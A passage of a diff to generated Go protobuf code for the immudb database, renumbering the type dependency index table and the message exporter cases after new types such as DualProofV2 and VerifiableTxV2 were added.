immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 275: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 106, // 276: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 106, // 277: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 106, // 278: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 279: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 106, // 280: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 281: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 106, // 282: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 111, // 283: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 113, // 284: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 113, // 285: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 113, // 286: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 98, // 287: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 123, // 288: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 217, // [217:289] is the sub-list for method output_type - 145, // [145:217] is the sub-list for method input_type - 145, // [145:145] is the sub-list for extension type_name - 145, // [145:145] is the sub-list for extension extendee - 0, // [0:145] is the sub-list for field type_name + 29, // 23: immudb.schema.DualProofV2.sourceTxHeader:type_name -> immudb.schema.TxHeader + 29, // 24: immudb.schema.DualProofV2.targetTxHeader:type_name -> immudb.schema.TxHeader + 29, // 25: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader + 36, // 26: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry + 18, // 27: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry + 23, // 28: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry + 37, // 29: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata + 38, // 30: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration + 35, // 31: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx + 33, // 32: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof + 28, // 33: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature + 35, // 34: immudb.schema.VerifiableTxV2.tx:type_name -> immudb.schema.Tx + 34, // 35: immudb.schema.VerifiableTxV2.dualProof:type_name -> immudb.schema.DualProofV2 + 28, // 36: immudb.schema.VerifiableTxV2.signature:type_name -> immudb.schema.Signature + 18, // 37: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry + 39, // 38: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 42, // 39: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 17, // 40: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue + 16, // 41: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition + 43, // 42: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest + 44, // 43: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest + 28, // 44: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature + 16, // 45: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition + 54, // 46: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest + 57, // 47: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score + 57, // 48: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score + 56, // 49: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest + 62, // 50: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 63, // 51: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 63, // 52: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 63, // 53: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 0, // 54: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction + 62, // 55: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 62, // 56: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 35, // 57: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx + 68, // 58: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState + 83, // 59: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 83, // 60: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 83, // 61: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 83, // 62: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 83, // 63: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 84, // 64: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings + 77, // 65: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 + 77, // 66: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 + 77, // 67: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 + 77, // 68: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 + 80, // 69: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool + 77, // 70: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 + 77, // 71: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 + 77, // 72: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 + 77, // 73: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 74: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 75: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 86, // 76: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings + 77, // 77: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 + 80, // 78: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool + 77, // 79: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 + 82, // 80: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds + 77, // 81: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 87, // 82: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings + 77, // 83: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 + 77, // 84: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 + 77, // 85: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 + 85, // 86: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings + 80, // 87: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 81, // 88: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 81, // 89: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 77, // 90: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 81, // 91: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 81, // 92: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 80, // 93: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 77, // 94: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 77, // 95: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 96: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 80, // 97: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool + 80, // 98: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool + 80, // 99: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool + 82, // 100: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds + 82, // 101: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds + 77, // 102: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 103: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 104: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 77, // 105: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 77, // 106: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 78, // 107: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 77, // 108: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 77, // 109: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 77, // 110: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 111: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 112: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 77, // 113: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 79, // 114: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 77, // 115: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 82, // 116: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 77, // 117: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 77, // 118: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 118, // 119: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 97, // 120: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 37, // 121: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 99, // 122: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 39, // 123: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 42, // 124: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 129, // 125: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 130, // 126: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 131, // 127: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 132, // 128: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 129: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 69, // 130: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 107, // 131: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 83, // 132: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 133, // 133: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 112, // 134: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 112, // 135: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 118, // 136: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 114, // 137: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 138: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 134, // 139: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 135, // 140: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 116, // 141: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 117, // 142: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 118, // 143: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 136, // 144: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 145: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 78, // 146: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 82, // 147: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 118, // 148: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 118, // 149: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 137, // 150: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 151: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 152: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 102, // 153: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 103, // 154: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 155: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 156: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 157: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 137, // 158: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 137, // 159: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 119, // 160: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 137, // 161: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 137, // 162: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 110, // 163: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 164: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 165: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 137, // 166: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 43, // 167: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 47, // 168: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 44, // 169: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 48, // 170: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 46, // 171: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 45, // 172: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 173: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 174: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 175: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 137, // 176: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 61, // 177: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 64, // 178: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 65, // 179: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 59, // 180: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 49, // 181: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 137, // 182: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 137, // 183: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 137, // 184: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 54, // 185: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 55, // 186: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 56, // 187: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 60, // 188: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 58, // 189: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 69, // 190: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 70, // 191: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 71, // 192: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 88, // 193: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 90, // 194: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 92, // 195: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 137, // 196: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 105, // 197: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 69, // 198: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 70, // 199: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 73, // 200: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 137, // 201: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 75, // 202: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 94, // 203: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 137, // 204: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 44, // 205: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 108, // 206: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 48, // 207: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 108, // 208: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 209: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 58, // 210: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 59, // 211: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 108, // 212: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 67, // 213: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 108, // 214: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 67, // 215: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 110, // 216: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 111, // 217: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 137, // 218: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 96, // 219: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 98, // 220: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 124, // 221: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 222: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 137, // 223: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 137, // 224: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 137, // 225: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 137, // 226: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 137, // 227: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 137, // 228: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 229: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 137, // 230: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 137, // 231: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 120, // 232: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 114, // 233: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 137, // 234: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 137, // 235: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 115, // 236: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 237: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 137, // 238: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 239: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 39, // 240: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 241: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 41, // 242: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 243: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 244: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 245: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 246: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 247: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 248: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 35, // 249: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 39, // 250: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 66, // 251: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 252: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 50, // 253: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 51, // 254: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 52, // 255: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 53, // 256: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 257: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 39, // 258: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 259: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 39, // 260: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 261: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 137, // 262: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 137, // 263: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 72, // 264: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 89, // 265: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 91, // 266: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 93, // 267: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 104, // 268: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 106, // 269: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 101, // 270: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 137, // 271: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 74, // 272: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 70, // 273: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 76, // 274: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 95, // 275: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 137, // 276: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 108, // 277: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 278: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 108, // 279: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 39, // 280: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 108, // 281: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 108, // 282: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 108, // 283: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 284: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 108, // 285: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 286: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 108, // 287: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 113, // 288: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 115, // 289: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 115, // 290: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 115, // 291: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 100, // 292: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 125, // 293: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 222, // [222:294] is the sub-list for method output_type + 150, // [150:222] is the sub-list for method input_type + 150, // [150:150] is the sub-list for extension type_name + 150, // [150:150] is the sub-list for extension extendee + 0, // [0:150] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -11108,7 +11282,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Tx); i { + switch v := v.(*DualProofV2); i { case 0: return &v.state case 1: @@ -11120,7 +11294,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxEntry); i { + switch v := v.(*Tx); i { case 0: return &v.state case 1: @@ -11132,7 +11306,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KVMetadata); i { + switch v := v.(*TxEntry); i { case 0: return &v.state case 1: @@ -11144,7 +11318,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Expiration); i { + switch v := v.(*KVMetadata); i { case 0: return &v.state case 1: @@ -11156,7 +11330,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableTx); i { + switch v := v.(*Expiration); i { case 0: return &v.state case 1: @@ -11168,7 +11342,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableEntry); i { + switch v := v.(*VerifiableTx); i { case 0: return &v.state case 1: @@ -11180,7 +11354,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*InclusionProof); i { + switch v := v.(*VerifiableTxV2); i { case 0: return &v.state case 1: @@ -11192,7 +11366,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { - switch v := 